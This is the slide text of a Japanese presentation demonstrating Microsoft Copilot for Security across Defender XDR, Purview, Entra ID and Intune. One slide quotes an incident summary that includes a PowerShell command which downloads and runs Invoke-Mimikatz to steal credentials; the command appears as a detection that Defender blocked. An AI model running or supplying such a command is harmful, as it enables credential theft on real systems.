なんでもCopilot for Security

Slide 1

Slide 1 text

なんでも Copilot for Security

Slide 2

Slide 2 text

2 自己紹介 • 国井傑 (くにいすぐる) • 株式会社エストディアン所属 • 公立大学法人会津大学客員教授 • マイクロソフト認定トレーナー (1997～2025) • Microsoft MVP for Security (2006～2025) • ブログ https://AzureAD.net • 主な職務・実績 • Microsoft 365 セキュリティ/インフラ管理に関わるトレーニング • テクニカルライター • ひと目でわかる Microsoft Defender for Endpoint • 最短突破 Microsoft Azure セキュリティテクノロジ合格教本 • ひと目でわかる Microsoft Intune など

Slide 3

Slide 3 text

No content

Slide 4

Slide 4 text

4 拡散希望！ https://aka.adfs.jp/wishlist

Slide 5

Slide 5 text

はじめに

Slide 6

Slide 6 text

Slide 7

Slide 7 text

7 もうちょっとわかりやすくすると.. Copilot for Security Microsoft Defender TI / EASM Microsoft Sentinel urlscan Microsoft Entra ID Microsoft Intune Microsoft Defender XDR Microsoft Purview 調査対象過去ログの参照脅威情報の参照

Slide 8

Slide 8 text

8 SCU の割り当て Copilot for Security Microsoft Entra ID Microsoft Intune Microsoft Defender XDR Microsoft Purview 調査対象 Security Compute Unit (SCU) Microsoft Azure

Slide 9

Slide 9 text

9 使い始めたいと思ったら覚えておくこと SCU をユニット単位で利用権を購入し、ユニットの範囲内でプロンプトを利用します。ただし、そのコストはユニット当たり$2880と高額なので使用しないときは Azure リソースごと削除しておきましょう

Slide 10

Slide 10 text

10 Copilot for Security ユーザーインターフェイス埋め込み型スタンドアロン型 https://securitycopilot.microsoft.com/

Slide 11

Slide 11 text

Microsoft Defender XDR

Slide 12

Slide 12 text

12 • 埋め込み型から利用可能なスキル • インシデント概要解説 • ファイルの解説 • プロセスのコマンド解説 • 自然言語からクエリの作成 • インシデントレポート • スタンドアロン型から利用可能なスキル • 上記の内容 • インシデントに関連する IOC と TTP • 脆弱性の管理 (CVE, ASR) スキル

Slide 13

Slide 13 text

13 インシデントの調査～サンプルのインシデント

Slide 14

Slide 14 text

14 インシデントにアクセスすると自動的に概要情報を要約

Slide 15

Slide 15 text

15 ガイド付き応答による能動的なインシデント対応

Slide 16

Slide 16 text

16 ガイド付き応答による能動的なインシデント対応

Slide 17

Slide 17 text

17 インシデントレポートから概要を把握重要度の高いインシデント「1つのエンドポイント上のMimikatz認証情報盗難ツール」は、2024-06-10 10:18:07 UTC ～ 2024-06-10 10:18:18 UTCの間に発生しました。クレデンシャルアクセス：2024-06-10 10:18:07 UTCにおいて、 Mimikatz認証情報盗難ツールがデバイス「xxxxx」（Windows 10）上で検出され、ユーザー「SuguruKUNII」に影響を与えました。このツールはプロセス「cmd.exe」に関連していた。その直後、同時に「xxxxx」上のDefenderが、コマンドライン「C:¥Windows¥System32¥WindowsPowerShell¥v1.0」内の「HackTool:PowerShell/Mimikatz.B」の実行を阻止した。exe powershell -c IEX(New-Object System.Net.WebClient).DownloadString(¥u0027hxxps://raw .githubusercontent.com/g4uss47/Invoke- Mimikatz/master/Invoke-Mimikatz.ps1u0027);Invoke- Mimikatz'.この操作により、「SuguruKUNII」からの認証情報の盗難の可能性がなくなった。

Slide 18

Slide 18 text

18 Microsoft Defender for Office 365 x Copilot Copilot に投げてみる

Slide 19

Slide 19 text

19 調査結果

Slide 20

Slide 20 text

20 プラグインの活用 Copilot for Security のプロンプトは有効化されたプラグインを利用します。既定のプラグインに加えてサードパーティのプラグインを利用したり、プラグインそのものを追加したりすることができます。

Slide 21

Slide 21 text

21 プラグインの設定

Slide 22

Slide 22 text

22 プロンプトブックの活用プロンプトブックとはプロンプトに入れる文字列をあらかじめ定義し、必要なステップを自動的に行う「プロンプト集」です。プロンプトブックは MS 提供のもののほかに自身で作成して利用することもできます。

Slide 23

Slide 23 text

Microsoft Purview

Slide 24

Slide 24 text

24 • 埋め込み型から利用可能なスキル • DLP アラートの説明 • 内部リスクの管理アラートの詳細 • スタンドアロン型から利用可能なスキル • 秘密度ラベル • DLP • 内部リスクの管理 • プロンプト例 • 上記の内容 • 優先すべきDLPアラート • ユーザーについての詳細 (アラートにどうかかわっているか？を調査) • DLP アラートに関連するデータリスクは何か • DLP アラートに関連するファイルについて過去7日間で行われたこと • 特定のファイルに対して設定されている秘密度ラベルについてスキルとプロンプト例

Slide 25

Slide 25 text

25 DLP アラートの要約

Slide 26

Slide 26 text

26 内部リスクの管理アラートの要約

Slide 27

Slide 27 text

27 内部リスクの管理アラートの要約

Slide 28

Slide 28 text

28 秘密度ラベルの変更/削除の履歴を追跡

Slide 29

Slide 29 text

Microsoft Entra ID

Slide 30

Slide 30 text

30 • 埋め込み型から利用可能なスキル • Identity Protection によって検知されたサインイン/ユーザーリスクの解説 • スタンドアロン型から利用可能なスキル • ユーザー/グループの情報 • サインインログ/監査ログの情報 • プロンプト例 • Identity Protection に出力されたログの要約 • 特定の日付、特定のユーザーによるサインイン履歴の追跡 • 過去14日間でサインインしたユーザーの一覧 • Microsoft Teams 以外のサービスにアクセスしたゲストユーザーの一覧 • 過去7日間で削除されたユーザー • アプリの登録に特定のアプリを登録したユーザーの追跡スキルとプロンプト例

Slide 31

Slide 31 text

31 Identity Protection によって検知されたサインインリスク

Slide 32

Slide 32 text

32 不要なゲストユーザーを見極める

Slide 33

Slide 33 text

Microsoft Intune

Slide 34

Slide 34 text

34 • 埋め込み型から利用可能なスキル • デバイスの探索/別のデバイスとの比較 • エラーコードの分析 • 構成プロファイル/コンプライアンスポリシーの集計 (説明) • 構成プロファイル/コンプライアンスポリシー/セキュリティベースラインの項目説明 • スタンドアロン型から利用可能なスキル • デバイスの情報 • ユーザー/デバイスを起点とするアプリの情報スキル

Slide 35

Slide 35 text

35 • プロンプト例 • 構成プロファイルの解説 • デバイスのハードウェア構成の比較 • 非準拠デバイスの非準拠理由 • エラーコードの解説 • 特定ユーザーが利用しているデバイス一覧 • 特定デバイスにインストールしたアプリ一覧 • DeviceA デバイスと DeviceB デバイス間のコンプライアンスポリシーの類似点は何ですか? • DeviceA と DeviceB のデバイス構成プロファイルの違いは何ですか? • DeviceA と DeviceB にインストールされているアプリケーションを比較プロンプト例

Slide 36

Slide 36 text

36 埋め込み型の設定

Slide 37

Slide 37 text

37 埋め込み型の設定

Slide 38

Slide 38 text

38 結果 Intune の設定 "ウィジェットを許可する" について説明します。この設定は、デバイス上のウィジェット機能が許可されるかどうかを指定します。ウィジェットは、ユーザーがカスタマイズできるニュースとフィードのサービスで、このサービスをオフにすると、このサービスを使用しているアプリが動作を停止する可能性があります。この設定は、ウィジェット体験全体に適用され、タスクバー上のコンテンツを含みます。デフォルトではウィジェットはオンになっており、設定で変更しない限り、以前にこの機能をオンにした場合は自動的にオンになります。設定の詳細は以下の通りです： •形式： int •アクセスタイプ：追加、削除、取得、置換 •デフォルト値： 1 許可される値： •0：許可されません。 •1（デフォルト）：許可されます。この設定は、グループポリシーまたはMDMソリューション（Microsoft Intuneなど）のカスタム設定を使用してウィジェットをオフにすることができます。グループポリシーの場合、Intuneの設定カタログでも利用可能な「ウィジェットを許可する」ポリシーを使用できます。MDMソリューションの場合、NewsandInterests設定プロバイダ（CSP）のAllowNewsAndInterests設定を使用できます。この設定は、以下の範囲とエディションで適用可能です： •スコープ：デバイス •エディション：Pro、Enterprise、Education、Windows SE、IoT Enterprise / IoT Enterprise LTSC •適用可能なOS：Windows 11, version 21H2 [10.0.22000] 以降

Slide 39

Slide 39 text

39 まとめ Copilot for Security Microsoft Defender TI / EASM Microsoft Sentinel urlscan Microsoft Entra ID Microsoft Intune Microsoft Defender XDR Microsoft Purview プロンプトブック会社のインシデント対応フローを実装調査対象不要なゲストユーザーを見極めるエラーコードの検索インシデントの概要特定エンティティの調査レポート作成過去ログの参照脅威情報の参照秘密度ラベルの設定変更 DLP のアラートを繰り返し行うユーザーの追跡ファイルプロンプトで利用するデータをあらかじめ登録